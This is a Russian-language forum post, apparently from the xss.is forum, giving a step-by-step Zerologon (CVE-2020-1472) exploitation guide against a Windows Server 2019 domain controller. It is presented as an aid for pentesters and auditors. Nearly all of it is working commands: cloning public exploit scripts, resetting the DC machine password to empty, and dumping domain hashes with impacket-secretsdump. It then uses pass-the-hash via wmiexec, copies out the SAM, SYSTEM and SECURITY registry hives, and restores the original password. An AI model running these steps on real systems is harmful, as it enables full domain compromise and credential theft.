Эксплуатация Zerologon (CVE-2020-1472) на Windows Server 2019

Tommy56

floppy-диск
Пользователь
Регистрация
21.11.2020
Сообщения
4
Реакции
8


Эксплуатация Zerologon (CVE-2020-1472) на Windows Server 2019​


Это статья описывает эксплуатацию Zerologon на Windows Server 2019. Подробную информацию об уязвимости можно прочитать (https://www.kaspersky.ru/blog/cve-2020-1472-domain-controller-vulnerability/29085/). В качестве ОС с которой будет проходить эксплуатация используется Kali Linux 2020.2.

Статья поможет начинающим пентестерам использовать данную уязвимость при проведении аудитов, а также специалистам по информационной безопасности проверить корпоративный домен на наличие уязвимости Zerologon.


Представим по шагам каждый этап эксплуатации Zerologon​

0) ставим необходимый софт:

{ git clone https://github.com/SecuraBV/CVE-2020-1472 ; cd CVE-2020-1472/ ; pip install -r requirements.txt } – скачивание скрипта для проверки наличия уязвимости Zerologon на контроллере домена и установка необходимых зависимостей. Данный скрипт только проводит проверку, без сброса пароля.

{ git clone https://github.com/risksense/zerologon.git ; cd zerologon/ ; pip install -r requirements.txt } – скачивание скрипта для сброса пароля контроллера домена и установка необходимых зависимостей

{ sudo git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket ; sudo pip3 install -r /opt/impacket/requirements.txt ; sudo python3 /opt/impacket/setup.py install } – Установка последней версии impacket
  • Проводим сканирование с помощью Nmap { nmap -p 445,139 -sV -sC IP_DOMAIN } для определения NetBIOS имени.
  • После нахождения NetBIOS имени, проводим проверку. Запускаем скрипт для проверки уязвимости CVE-2020-1472 { python3 ./CVE-2020-1472/zerologon_tester.py DC_NETBIOS_NAME dc_ip_addr } Если скрипт отработал правильно и уязвимость есть, появится сообщение Success! DC can be fully compromised by a Zerologon attack. Это значит, можно переходить к следующему этапу и сбрасывать пароль контроллера домена.

00.png

2) Переходим в папку со скаченным скриптом zerologon и запускаем скрипт
  • { python3 set_empty_pw.py DC_NETBIOS_NAME dc_ip_addr } Если скрипт отработал правильно и уязвимость есть, появится сообщение Success! DC should now have the empty string as its machine password. Это значит, что для учетной записи контроллера домена был назначен пустой пароль (31d6cfe0d16ae931b73c59d7e0c089c0). При помощи утилиты secretsdump можно извлечь закешированные учетные записи домена и секретные ключи LSA { impacket-secretsdump -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr' }
11.png

3) Среди полученных хэшей находим учетную запись администратора домена и подключаемся с помощью ее хэша к контроллеру домена с помощью утилиты impacket-wmiexec { impacket-wmiexec -hashes NTLM_HASH_ ADMIN_DOMAIN DOMAIN/admin_domain@ dc_ip_addr -codec 866 } (параметр codec 866 нужен чтобы не ломалась кодировка при подключении к Win серверу на русскому языке) Для восстановления предыдущего пароля контроллера домена, после подключения к домену с помощью утилиты impacket-wmiexec необходимо выполнить команды:
  • reg save HKLM\SYSTEM system.save
  • reg save HKLM\SAM sam.save
  • reg save HKLM\SECURITY security.save
  • get system.save
  • get sam.save
  • get security.save
  • del /f system.save
  • del /f sam.save
  • del /f security.save
  • exit
22.png
4) Далее с помощью утилиты impacket-secretsdump извлекается оригинальный пароль учетной записи контроллера домена{ impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL } Нужно скопировать хэш из второй строчки $MACHINE.ACC (показано на скрине что именно нужно копировать). Далее скопированный хэш нужно вставить в скрипт reinstall_original_pw.py:
  • { python3 reinstall_original_pw.py DC_NETBIOS_NAME dc_ip_addr ORIG_NT_HASH }
33.png

5)Если контроллер домена обновлен и в нём отсутствует уязвимость, при запуске скриптов будут сообщения указанные на скриншоте ниже.
44.png

Всем спасибо за прочтение, надеюсь материал будет кому-то интересен и полезен.

Ссылки:
Статья специально для https://xss.is
Автор Tommy56
 
Верх